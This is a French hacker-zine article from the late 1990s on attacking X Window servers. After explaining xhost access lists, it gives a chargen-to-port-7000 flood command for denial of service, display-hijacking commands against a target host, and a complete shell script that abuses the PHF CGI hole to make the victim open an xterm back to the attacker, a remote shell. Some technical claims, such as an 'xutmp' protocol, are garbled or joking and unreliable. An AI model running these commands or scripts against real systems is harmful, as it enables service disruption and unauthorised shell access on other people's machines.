Hacking with X Window --------------------- par Bypass 1) INTRODUCTION ^^^^^^^^^^^^^^^ X Window est l'interface graphique la plus populaire d'UNiX. On la retrouve dans les universites comme dans les centres de recherches du Pentagone. Un peu comme Win95, il gere vos windows, programmes, et processes. Mais il existe une distinction majeure: X utilise un protocol (xutmp). Ainsi, X Window peut etre considere comme un serveur, et ses logiciels comme des clients. Mais il faut bien se comprendre: le service fournit n'est pas un acces au disque de l'hote, mais plutot a son ecran. C'est pour cela que quand l'on parle de "serveur X Window" on parle de votre serveur d'affichage (eg. XF86_SVGA). C'est cette caracteristique que nous tenterons d'exploiter. 2) NOTION DE XHOST ^^^^^^^^^^^^^^^^^^ Qu'est-ce que xhost ? Si vous connaissez le NFS, vous pouvez comparer xhost a une export list. Xhost est un programme simple qui a comme fonction de determiner qui a acces et qui ne l'a pas a un server X. On l'utilise selon le parametres suivants: - xhost Donne une liste des hostnames ayant acces au serveur X - xhost +[hostname] Ajoute un hostname a la liste d'acces - xhost -[hostname] Devinez ! - xhost +/- Active ou desactive la liste d'acces Il est imperatif de toujours garder cette liste a jour, et surtout de s'assurer que votre liste n'est pas "+" (disable control access). 3) FLOOD XUTMP ^^^^^^^^^^^^^^ Qui dit "protocol" dit aussi "port". Malheureusement pour les utilisateurs d'X, ce port (7000) est ouvert par default des le demarrage du serveur. Ainsi, en ouvrant plusieurs sessions telnet sur le port xutmp de votre cible en le floodant de donnees, vous pourrez effectuer une attaque "Denial of Service", en causant au serveur un lag extreme. Voici un exemple d'attaque: SQC:/# telnet localhost 19 | telnet www.target.com 7000 4) X DISPLAY HIJACKING ^^^^^^^^^^^^^^^^^^^^^^ Essayer de prendre control sur un serveur X necessite d'abord que vous soyez sur la liste de hotes de votre cible. Si vous avez acces a un compte shell sur votre cible, executez-y la commande "xhost": Target:~/$ xhost access control disabled, clients can connect from any host INET: localhost LOCAL: Target:~/$ On voit ici que tout client, peut importe son hostname, peut se connecter sur le serveur X. En resumer, C'EST PARFAIT ! Maintenant, vous pouvez envoyer, par exemple, un xterm executant un telnet sur le port 19 du host local... Voici un exemple: SQC:/# xterm -display www.target.com:0 -e telnet localhost 19 Ou meme un "xeyes flood" ! SQC:/# xeyes -display www.target.com:0 (repetition) 5) XTERM HIJACKING ^^^^^^^^^^^^^^^^^^ Ok. J'crois qu'il est temps de passer aux choses serieuses: gagner le R00T sur le serveur cible. Hey oui ! X Window peut vous donner ce que vous desirez. Pour mettre sur pied notre attaque, on se base sur une equation chimique hyper-evoluee, decouverte par Boltzman en 1802 (il etait ne a ce moment la ?), qui a revolutionne le monde entier (sure...) Phf Cgi-bin + X Window = COKTAIL MOLOTOV !!!!!! C'est koi le principe de tout ca hein ? Simple ! Vous avez une machine cible qui possede un X Window et Phf ? Plutot que de depenser votre temps a downloader un /etc/passwd shadowed, essayez donc de faire une requete de XTerm dont le display sera VOTRE serveur ! Voici d'ailleurs un petit shell script qui vous permettra d'hijacker des xterms sans vous caser la tete... ------------------->8------------------->8------------------->8---------------- #!/bin/sh # # Created by K-L0G in 1997 # Copyright (c), Source Quench Communications, 1996-1997 # # Xterm hijacker via phf ... # # La cible necessite (pour ceux qui comprennent pas encore): # - un PHF accessible # - un Xterm # # PS: vous devez executer ce script a partir de X Window # echo "" echo "XTerm Hijacker, created by K-L0G in 1997" echo "Copyright(c), Source Quench Communications, 1996-1997" echo "NB: This script must be executed from X Window" echo "" if [ $# -ne 1 ]; then echo Usage: $0 [target] echo "" exit 127 fi echo -n "Scanning for local IP ..." localip=`ifconfig ppp0 | grep inet | sed 's/:/ /g' | awk {'print $3'}` targetip=$1 echo "done" echo "Local IP set as $localip" xhost + > /tmp/hijack.tmp echo Sending PHF request to $targetip lynx `echo -n $targetip`/cgi-bin/phf?Qname=%A0/usr/X11/bin/xterm%20-display%20`echo $localip`:0 > /tmp/hijack.tmp xhost - > /tmp/hijack.tmp echo "You should receive a XTerm in few seconds ..." rm /tmp/hijack.tmp echo "" exit ------------------->8------------------->8------------------->8---------------- Une fois que vous avez le term a votre ecran, vous aurez acces a votre cible selon votre UID et GID de HTTPD (oubliez pas qu'on est passer par PHF !). Vous pouvez aussi essayer de detourner d'autres logiciels X, mais ca ne vous donnera jamais rien de plus qu'on bon vieux xterm... 6) REFERENCES ^^^^^^^^^^^^^ Pour avoir plus d'information sur la securite sous X Window, voici quelques endroits ou vous informer... - man xhost - man xterm - http://ciac.llnl.gov/ciac/documents/ciac2316.html - http://ftp.cert.org <--- evidemment ;) - Votre UNiX guru le plus proche - Votre libraire d'informatique (demandez lui surtout pas comment hijacker X Window la !) 7) CONCLUSION ^^^^^^^^^^^^^ Comme d'habitude, si vous avez des questions, commentaires, ou offres d'emplois ;) mailez moi a SQC@hotmail.com. N'oubliez pas, en passant, qu'on a un URGENT BESOIN DE TEXTES !!! Merci, comme d'habitude, aux autres membres du groupe, a PhE, F-Kaos (groupes Francais), a mon chien (meme si j'en ai pas), chaque brain de gazon dans mon jardin, Canel pis Pruno qui font des films porno (vous vous rappellez ?), anyway, tout le monde (y compris vous, chers lecteurs). Bypass [EOF]